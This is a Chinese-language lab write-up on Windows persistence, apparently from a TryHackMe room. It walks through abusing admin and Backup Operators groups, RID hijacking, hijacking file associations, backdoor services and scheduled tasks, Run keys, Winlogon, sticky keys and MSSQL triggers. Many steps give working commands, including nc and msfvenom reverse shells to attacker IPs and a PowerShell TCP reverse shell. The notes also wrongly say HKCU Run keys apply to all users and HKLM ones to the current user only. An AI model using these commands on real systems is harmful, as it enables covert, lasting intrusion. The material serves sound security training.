Windows权限维持
Windows权限维持
篡改非特权账户
分配组成员资格
在这部分任务中,我们假设的前提是:攻击者已经转储了受害者机器的hash,并成功破解了所使用的非特权账户的密码
使得非特权用户能获得管理权限的最直接的方法就是:使其成为Administrators组的一部分
命令如下:
1 | net localgroup administrators thmuser0 /add |
这将允许我们使用RDP、WinRM或者其他任何可用的远程管理服务,来访问服务器
为了降低可疑程度,可用Backup Operators组
此组中的用户将没有管理权限,但是可用读取、写入系统上的任何文件或注册表项,并且忽略任何已配置的DACL。这样我们就可以复制SAM和SYSTEM注册表配置单元的内容,然后恢复所有用户的密码hash,从而使得我们能升到Administrator
在此之前首先我们要将账户添加到Backup Operators组
1 | C:\> net localgroup "Backup Operators" thmuser1 /add |
由于这是一个非特权帐户,因此除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法通过 RDP 或 WinRM 返回计算机。我们将使用 WinRM 完成此任务
1 | C:\> net localgroup "Remote Management Users" thmuser1 /add |
我们假设我们已经在服务器上转储了凭据,并且拥有 thmuser1 的密码。让我们使用 WinRM 的凭据通过 WinRM 进行连接
1 | evil-winrm -i 10.10.143.188 -u thmuser1 -p Password321 |
查看组成员
虽然我们是Backup Operators的一部分,但该组已被禁用了
这是用户账户控制造成的(UAC)
UAC实现的功能之一是LocalAccountTokenFilterPolicy,这使得在远程登录的时候会剥夺任何本地账户的管理权限
虽然我们可用图形用户会话通过UAC提权,但如果用的是WInRM,我们就只能用没有管理权限的有限访问令牌
为了重新获得管理权限,我们通过更改注册表项来禁用LocalAccountTokenFilterPolicy
1 | C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 |
这样我们就可用使用我们的后门用户了
1 | evil-winrm -i 10.10.143.188 -u thmuser1 -p Password321 |
于是我们可以备份SAM和SYSTEM文件,并把它们下载到我们的攻击机上
1 | reg save hklm\system system.bak |
然后就可以用工具转储所有用户密码的hash了
1 | python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL |
然后执行Pass-the-Hash连接到Administrator账户
1 | evil-winrm -i 10.10.143.188 -u Administrator -H f3118544a831e728781d780cfdb9c1fa |
然后执行flag1.exe即可
特殊权限和安全描述符
和将用户添加到Backup Operators组类似的结果,可以在不修改任何组成员身份的情况下实现
特殊组被称为特殊组的原因是:操作系统默认为它们分配了特定的权限。权限只是在系统本身上执行任务的一种能力,包括一些简单的事情,比如获得文件所有权、关闭服务器
对于Backup Operators组,默认情况下会分配两个权限
- SeBackupPrivilege 的用户可以读取系统中的任何文件,而忽略任何现有的 DACL。
- SeRestorePrivilege 的用户可以在系统中写入任何文件,而忽略任何现有的 DACL。
前面我们说了,权限只是在系统本身上执行任务的一种能力
那么我们就可以将这种能力交给其他用户,从而使其不受组成员身份的影响
可以使用命令,将当前配置导出到一个临时文件:
1 | secedit /export /cfg config.inf |
然后输入config.inf打开
然后往里面添加我们的用户
保存后,将.inf文件转换成.sdb文件,然后把该文件配置重新加载回系统
1 | secedit /import /cfg config.inf /db config.sdb |
现在我们拥有了一个和Backup操作员具有相同权限的用户thmuser2。
然而该用户仍然无法通过WinRM登录系统,因此我们接下来还需要更改与WinRM服务关联的安全描述符,以允许thmuser2连接。
我们将安全描述符视为ACL*(Access Control List,访问控制列表)*,应用于其他系统工具
要打开WinRM安全描述符的配置窗口,可以在Powershell中使用以下命令
1 | Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI |
接着会弹窗,我们需要添加thmuser2用户,并为其分配WinRM连接的权限
完成操作后,thmuser就可以通过WinRM进行连接了。由于用户具有SeBackup和SeRestore的权限,我们可以重复上一个小任务点的方法继续获取权限
请注意,要使此用户完全使用给定的权限,必须更改 LocalAccountTokenFilterPolicy 注册表项,但我们已经这样做以获取上一个flag
RID劫持
还有一种无需管理员身份,即可获取管理员权限的办法是:更改某些注册表值,使操作系统认为我们是管理员
创建用户的时候,会为其分配一个名为Relative ID (RID) 的标识符。RID 只是一个数字标识符,表示整个系统中的用户
用户登陆时,LSASS进程从SAM注册表配置单元中获取用户的RID,并创建与该RID相关联的访问令牌,如果我们可以篡改注册表值,就能将同一个RID关联到两个账户,使得Windows将管理员访问令牌分配给非特权用户
在任何Windows系统当中,默认管理员账户的 RID = 500,普通用户的RID通常为>=1000
通过以下命令查找为任何用户分配的RID
1 | wmic useraccount get name,sid |
RID 是 SID 的最后一位(thmuser3 为 1010,管理员为 500)。SID 是一个标识符,它允许操作系统跨域识别用户,但对于此任务,我们不会过多考虑它的其余部分
现在我们只需要将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 方式运行 Regedit,我们将使用 psexec,它在您的机器上可用:C:\tools\pstools
1 | PsExec64.exe -i -s regedit |
从 Regedit,我们将转到计算机中每个用户都有一个密钥的位置。由于我们想要修改 thmuser3,因此我们需要搜索一个 RID(十六进制 (1010 = 0x3F2)的密钥。在相应的 key 下,将有一个名为 F 的值,该值保存位置 0x30 处的用户有效 RID:HKLM\SAM\SAM\Domains\Account\Users\
现在,我们将这两个字节替换成十六进制的Administrator RID(500 = 0x01F4),并切换字节 (F401)
当我们用thmuser3登录时,LSASS会将其与管理员相同的RID相关联,并且赋予他们同等的权限
用RDP连接拿flag
后门文件
这个学web基本都知道咋回事,就不细述了,记录一个自己没看过的
劫持文件关联
除了通过可执行文件或快捷方式进行权限维持外,我们还可以劫持文件关联,以此来强制操作系统在用户打开特定文件类型时,运行我们的shell
默认操作系统文件关联保存在注册表中,并且存储了每种文件类型的键
假如我们想检查哪个程序用于打开.txt文件,我们只需要检查子密钥,并查找与之关联的Programmatic ID(ProgID),ProgID就是系统上安装的程序的标识符。
对于.txt文件,我们将具有以下ProgID
1 | HKLM\Software\Classes\.txt |
接下来我们可以搜索相应的ProgID的子项
大多数ProgID条目都有一个子项,在该子项下指定要为具有该扩展名的文件运行的默认命令是:
1 | HKLM\Software\Classes\txtfileshell\open\command |
我们可以劫持这个扩展,将命令替换为执行后门,然后保存
这样当目标使用扩展的时候,就会自动执行我们的后门文件
接下来我们先创建一个psl脚本
1 | Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe 10.10.29.57 4448" |
然后将其保存到%SystemRoot%\system32\NOTEPAD.EXE %1%1C:\Windows\backdoor2.ps1
请注意,在 Powershell 中,我们必须传递给记事本,因为它将包含要打开的文件的名称,如 .$args[0]``%1
1 | powershell.exe -WindowStyle hidden backdoor.ps1 %1 |
然后在攻击机上起一个nc监听端口,运行txt文本来触发后门
实测能弹powershell,然而后门运行有点慢
滥用服务
服务基本上是在后台运行的可执文件
这就为我们提供了一种权限维持的好方法,如果我们可以利用服务运行我们的后门,那么我们就可以在每次启动受害者的计算机时,重新获得对它的控制权
滥用服务来维权主要是通过以下两种手段:
- 创建新服务
- 修改现有服务
创建后门服务
我们可以用以下命令创建并启动一个THMservice服务
1 | sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto |
等号后必须要有空格,命令才能正常工作
当启动这个服务时,将执行net user命令,将管理员的密码重置为passwd123
我们将服务设置为自启动 (start= auto),这样就能在不与用户交互的情况下运行
我们也可以用msfvenom创建一个反弹shell的可执行文件,并将其与创建的服务相关联
1 | user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.29.57 LPORT=4448 -f exe-service -o rev-svc.exe |
然后将生成的rev-svc.exe复制到目标系统
然后将binPath指向C:\Windows
1 | sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto |
攻击机上监听端口就能收到反弹回来的shell
修改现有服务
创建新服务固然是好选择,但是在真正的攻防当中,蓝队可能会检测网络中的新服务创建
通常来说,任何已禁用的服务都是一个不错的目标,因为用户不一定能注意得到这些被禁用的服务的修改
使用以下命令获取可用服务列表
1 | sc.exe query state=all |
找到一个THMService3,它已停止服务
查询服务配置
1 | sc.exe qc THMService3 |
在维持权限时,我们需要关心三件事
- 可执行文件(BINARY_PATH_NAME)应指向我们的payload
- 服务的START_TYPE应该是自动的,这样我们就能使得payload能在没有用户交互的情况下运行
- SERVICE_START_NAME(服务运行下的账户)最好设置为LocalSystem,以获取SYSTEM权限
用msfvenom生成exe的步骤还是一样,只不过我们要重新配置THMservice3的参数
1 | C:\> sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem" |
可以注意到我们将start设置为了auto
obj设置为了LocalSystem,这里的obj参数全称是ObjectName,用于指定服务运行所使用的账户
然后binPath指向我们的可执行文件
其实还挺简单的,只不过操作上面还是不熟练
滥用计划任务
在先前的提权部分我们就用过计划任务,其实在权限维持中也是能用的
计划任务程序
最常见的计划任务利用就是使用内置的Windows计划任务程序(schtasks)
我们可以创建一个每分钟运行一次反弹shell命令的任务
1 | schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe 10.10.29.57 4449" /ru SYSTEM |
但在真实的攻击场景下,这样频繁的操作极有可能暴露自身,在THM中这样设置只是因为我们不想等太久罢了
然后在我们的攻击机上监听端口,接收shell
前面的命令将创建一个 “THM-TaskBackdoor” 任务,并执行一个反向 shell 返回给攻击者。和 选项指示任务应每分钟运行一次。该选项指示任务将使用 SYSTEM 权限运行
若不确定自己的任务是否已成功创建,可以用下面的命令来查看
1 | schtasks /query /tn thm-taskbackdoor |
隐藏计划任务
成功用计划任务拿到权限后,如果我们没有及时隐藏自己的行踪,就可能会在受害者列出计划任务的时候暴露
为了计划任务的隐蔽性,我们可以删除其安全描述符**(SD)**,使其对系统中的任何用户都不可见。
安全描述符只是一个ACL,用于说明哪些用户有权限访问计划任务
如果我们的用户不允许查询计划任务,我们就看不到对应的计划任务,因为Windows仅显示我们有权限使用的任务
删除SD,等同于禁止所有用户(包括管理员)访问计划任务
所有计划任务的安全描述符都存储在注册表中,每个任务的注册表项中名为“SD”的值包含安全描述符。
只有当我们拥有SYSTEM权限时,我们才能擦除该值
在隐藏前,再确认一遍我们的计划任务
然后用SYSTEM权限打开注册表
1 | c:\tools\pstools\PsExec64.exe -s -i regedit |
删除SD值
再查询这个服务,系统会告诉我们没有这个服务
登录触发维权
用户执行的某些操作也可能绑定上payload
比如登录系统
启动文件夹
每个用户都有自己的一个文件夹,可以在这个文件夹下放置我们希望用户登陆时运行的可执行文件
不过,每个用户仅运行其文件夹中的可用内容
路径为
1 | C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
把your_username替换成目标的用户名就行
如果我们想强制所有用户在登陆时运行我们的payload,我们可以在下面这个文件夹中用相同的方法
1 | C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp |
我们先用msfvenom生成反弹shell的payload
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe |
然后将payload复制到目标计算机当中,当然可以在目标主机上使用python3启动web服务,利用wget来拉取我们的payload
复制成功后,将payload存到目标文件夹下,达到无论谁登录系统,都会触发反弹shell的payload的目的
1 | copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\" |
注意,文件记得把完整路径搞上,不然识别不到
然后注销我们的会话
重新登录RDP,攻击机监听4450,发现接收到shell
Run /RunOnce
我们还可以强制用户在登陆时通过注册表执行程序
可以使用以下注册表项指定登录时自启动的应用程序
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU注册表项应用于所有人,而HKLM只适用于当前用户
开始之前依旧是生成一个exe
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.84.168 LPORT=4451 -f exe -o revshell.exe |
传输到目标主机上后,再将其移动到C:\Windows\
1 | move C:\Users\Administrator\Desktop\revshell.exe C:\windows |
然后我们在
1 | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
下创建一个注册表项,条目名称随便,值是我们要执行的命令
这里要执行我们的revshell.exe,所以直接写对应路径C:\windows\revshell.exe
完成操作后,注销再登录就能收到shell了
Winlogon
登录自启动程序的另一个替代就是滥用Winlogon
Winlogon是windows组件,可以在身份验证后立即加载您的用户配置文件
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
这是Winlogon的注册表路径
Userinit
指向 ,它负责恢复您的用户配置文件首选项。userinit.exe
shell
指向系统的 shell,通常为 .explorer.exe
我们可以用反弹shell文件替换这些可执行文件,不过,我们还可以用逗号分隔,使得Winlogon连同我们的反弹shell文件一起处理
像这样
然后注销重新登录,就能收到shell了
登录脚本
加载用户配置文件时,有一项操作是检查一项叫做UserInitMprLogonScript的环境变量
我们可以利用这个环境变量为用户指定一个登录脚本,用户在登录计算机时,该脚本会运行
此变量默认是未设置的,因此我们可以直接创建它,并用它指定我们想要的脚本
对登录屏幕/RDP进行后门植入
这部分就粘滞键是新东西,需要注意的一点是,之前提权的一部分内容还是能拿来做权限维持的,比如这一个任务7中的Ultiman,在前面我们通过这玩意篡改Ease of Access,同样的也能拿来触发后门提权
出于学习效率考虑,这里就不多赘述
粘滞键
当按下诸如 “Ctrl + Alt + Del” 这样的组合键时,你可以在 Windows 系统中设置启用粘滞键功能。
启用粘滞键后,你可以按顺序逐个按下组合键中的按键,而无需同时按下。
也就是说,如果你启用了粘滞键,你就可以先按Ctrl,再依次Alt、Del,就能达到同时按下 “Ctrl + Alt + Del” 组合键相同的效果
打游戏的哥们会经常碰到这个东西
Windows的默认快捷方式,按五次SHIFT会弹出这个窗口
其实Windows是激活了 C:\Windows\System32\sethc.exe
路径下的二进制文件,如果我们能将这个二进制文件替换成我们的payload,就能实现提权(因为Windows在锁屏时依然能通过五次SHIFT触发这个文件)
不过,想要修改这个文件,我们首先需要获得文件的所有权,并授予当前用户修改它的权限
我们可以用命令做到这点
1 | takeown /f c:\Windows\System32\sethc.exe #获得文件所有权 |
接下来锁定屏幕,尝试调出CMD
得手了!
通过现有服务维持权限
之前的这些操作的前提都是:我们已经可以在目标windows主机上为所欲为了
但有的时候我们没办法直接操纵目标的主机,不过我们能操纵服务,比如web服务、数据库服务
这个时候我们就可以从这些服务入手
由于webshell这个是老生常谈了,这里不过多赘述,主要讲一个数据库的东西
使用MSSQL作为后门
MSSQL有一个东西叫做触发器(Trigger),触发器可以绑定在数据库中发生特定事件时,需要执行的操作
这些事件可以是增删查改,应用范围很广
在这个任务点当中,我们要对数据库HRDB当中的任何插入操作创建一个触发器
在开始之前,我们需要启用存储过程xp_cmdshell
这是MSSQL安装中默认提供的一个过程,允许我们直接在系统控制台中执行命令,但是默认是禁用的
首先用管理员身份打开
然后打开查询编辑器
接着输入:
1 | sp_configure 'Show Advanced Options',1; #在数据库中启用高级选项 |
在此之后,我们必须确保任何访问该数据库的网站都能运行xp_cmdshell
。
默认情况下,只有具有sysadmin
角色的数据库用户才能这样做。
鉴于预计 Web 应用程序会使用受限的数据库用户,我们可以授予所有用户模拟sa
用户(默认数据库管理员)的权限。
1 | USE master |
然后在攻击机上创建
evilscript.psl,Powershell脚本
1 | $client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454); |
这样我们向数据库发送INSERT语句触发Trigger的时候,就会远程下载powershell脚本,实现权限维持了